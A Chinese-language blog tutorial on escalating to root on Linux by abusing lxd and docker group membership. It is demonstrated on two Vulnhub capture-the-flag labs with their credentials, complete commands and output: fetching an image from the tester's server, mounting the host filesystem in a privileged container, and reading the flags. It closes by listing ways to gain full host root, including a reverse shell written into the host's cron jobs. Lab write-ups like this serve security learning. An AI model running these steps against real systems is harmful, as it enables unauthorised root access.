关于Linux环境下的LXD及Docker提权

 希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 基本概念

        LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。
总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。

        LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。

        LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。

        Docker是一个开源的容器化平台,它建立在LXC之上,并提供了一套更高级别的工具和API,使得容器的构建、分发和运行变得更加简单。Docker提供了一个容器镜像的集装箱模型,使得容器可以在不同的环境中进行移植和部署。Docker强调容器的可移植性和易用性,适用于开发、测试和部署应用程序的场景。

0x02 LXD 提权

1、原理
LXD 是基于 LXC 容器的管理程序,当前用户可操作容器。所以用户可创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
2、LXD 提权条件

  • 已经获得 shell
  • 用户属于 lxd 组

3、案例 - Vulnhub - AI-Web

AI-Web 靶机下载地址:https://www.vulnhub.com/entry/ai-web-2,357/

前期 Web 打点拿到了 ssh 账号密码,如下:

User: n0nr00tuser
Pass: zxowieoi4sdsadpEClDws1sf

ssh 连接后发现当前用户 n0nr00tuser 属于 lxd 组,也就是说可以操作 LXD 容器

┌──(root㉿ch4ser)-[~]
└─# ssh n0nr00tuser@192.168.196.144
n0nr00tuser@aiweb2host:~$ whoami
n0nr00tuser
n0nr00tuser@aiweb2host:~$ id
uid=1001(n0nr00tuser) gid=1001(n0nr00tuser) groups=1001(n0nr00tuser),108(lxd)
n0nr00tuser@aiweb2host:~$ pwd
/home/n0nr00tuser

Kali 开启 apache2 服务,将镜像 alpine-v3.13-x86_64-20210218_0139.tar.gz 放到网站根目录

┌──(root㉿ch4ser)-[~]
└─# cd /var/www/html
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[/var/www/html]
└─# ls             
alpine-v3.13-x86_64-20210218_0139.tar.gz
                                                                                                                                                                                                                   
┌──(root㉿ch4ser)-[/var/www/html]
└─# service apache2 start

 靶机 wget 下载,使用 lxc 创建容器并别名为 test

n0nr00tuser@aiweb2host:~$ wget http://192.168.196.128/alpine-v3.13-x86_64-20210218_0139.tar.gz
n0nr00tuser@aiweb2host:~$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b

初始化容器 test 并设置选项 security.privileged=true,即允许容器以特权模式运行

n0nr00tuser@aiweb2host:~$ lxc init test test -c security.privileged=true
Creating test

将宿主机的根目录 "/" 挂载到容器中的 "/mnt/root" 目录,recursive=true 选项表示在添加设备时递归创建目标路径

n0nr00tuser@aiweb2host:~$ lxc config device add test test disk source=/ path=/mnt/root recursive=true
Device test added to test

启动容器 test 并打开一个 shell 会话,可以看到当前权限为容器的 root 权限(注意:不是宿主机的 root 权限)

n0nr00tuser@aiweb2host:~$ lxc start test
n0nr00tuser@aiweb2host:~$ lxc exec test /bin/sh
~ # whoami
root
~ # id
uid=0(root) gid=0(root)
~ # pwd
/root

此时我们对容器具有最高权限,而宿主机的目录已全部递归挂载到 /mnt/root,所以只需要进入 /mnt/root/root 目录查看便可得到 flag

~ # cd /mnt/root/root
/mnt/root/root # ls
flag.txt
/mnt/root/root # cat flag.txt 
####################################################
#                                                  #
#                 AI: WEB 2.0                      #
#                                                  #
#               Congratulation!!!                  #
#                                                  #
#             Hope you enjoyed this.               #
#                                                  #
#  flag{7fe64512ecd4dba377b50627f307d1678b14132f}  #
#                                                  #
#         Please tweet on @arif_xpress             #
#                                                  #
####################################################

 0x03 Docker 提权

1、原理
Docker 提权和 LXD 提权原理基本一致,都是通过挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。
2、LXD 提权条件

  • 已经获得 shell
  • 用户属于 docker 组

3、案例 - Vulnhub - Chill-Hack

Chill-Hack 靶机下载地址:https://www.vulnhub.com/entry/chill-hack-1,622/

前期 Web 打点拿到了 ssh 账号密码,如下: 

User: anurodh
Pass: !d0ntKn0wmYp@ssw0rd

ssh 连接后发现当前用户 anurodh 属于 docker 组,也就是说可以操作 Docker 容器

┌──(root㉿ch4ser)-[~]
└─# ssh anurodh@192.168.196.145
anurodh@ubuntu:~$ whoami
anurodh
anurodh@ubuntu:~$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
anurodh@ubuntu:~$ pwd
/home/anurodh

拉取镜像,创建容器,将宿主机的根目录 "/" 挂载到容器中的 "/mnt" 目录,进入 /mnt/root 目录查看便可得到 flag`

anurodh@ubuntu:~$ whoami
anurodh
anurodh@ubuntu:~$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
anurodh@ubuntu:~$ pwd
/home/anurodh
anurodh@ubuntu:~$ docker run -v /:/mnt -it alpine
/ # whoami
root
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # pwd
/
/ # cd /mnt/root
/mnt/root # ls
proof.txt
/mnt/root # cat proof.txt 


					{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}


Congratulations! You have successfully completed the challenge.

0x04 补充

上述提权方案只是对宿主机目录有了操作权限,如果此时反弹 shell 得到的权限将是容器内的 root 权限,而非宿主机的 root 权限,显然不是我们想要的。

那么如何得到宿主机的 root 权限呢?有以下几种方法参考:

1、破解 /etc/shadow 中的 hash,得到 root 账户密码,可使用 hashcat 等工具

2、添加 ssh 密钥绑定 root,之后使用 ssh 密钥登录 root

3、将反弹 shell 命令写到宿主机的计划任务,此时反弹的是宿主机root权限(推荐)

4、利用 CVE 漏洞直接利用反弹

相关推荐

  1. 关于Linux环境LXDDocker

    2024-03-23 18:16:04       22 阅读
  2. linux环境MySQL UDF

    2024-03-23 18:16:04       14 阅读
  3. linux 总结_linux

    2024-03-23 18:16:04       18 阅读

最近更新

  1. 常见网络攻击方式及防御方法

    2024-03-23 18:16:04       0 阅读
  2. Amazon Bedrock 常用权限分类详解

    2024-03-23 18:16:04       0 阅读
  3. Emacs有什么优点,用Emacs写程序真的比IDE更方便吗?

    2024-03-23 18:16:04       1 阅读
  4. AWS Glue 与 Amazon Redshift 的安全通信配置

    2024-03-23 18:16:04       1 阅读
  5. Elasticsearch7.5.2 常用rest api与elasticsearch库

    2024-03-23 18:16:04       1 阅读
  6. MySQL 的 Buffer Pool 的结构及有什么作用

    2024-03-23 18:16:04       1 阅读

热门阅读

  1. dockers compose up 报no configuration file provided: not found

    2024-03-23 18:16:04       19 阅读
  2. H5 与 App、网页之间的通信

    2024-03-23 18:16:04       19 阅读
  3. 解锁算法效率:掌握时间复杂度O(n)的艺术

    2024-03-23 18:16:04       16 阅读
  4. TypeScript 数据类型

    2024-03-23 18:16:04       18 阅读
  5. 自然语言处理:人机交流的桥梁

    2024-03-23 18:16:04       18 阅读
  6. 【CMake】所见所闻所学

    2024-03-23 18:16:04       17 阅读
  7. 机器学习揭秘:解锁从理论到实践的每一步!

    2024-03-23 18:16:04       22 阅读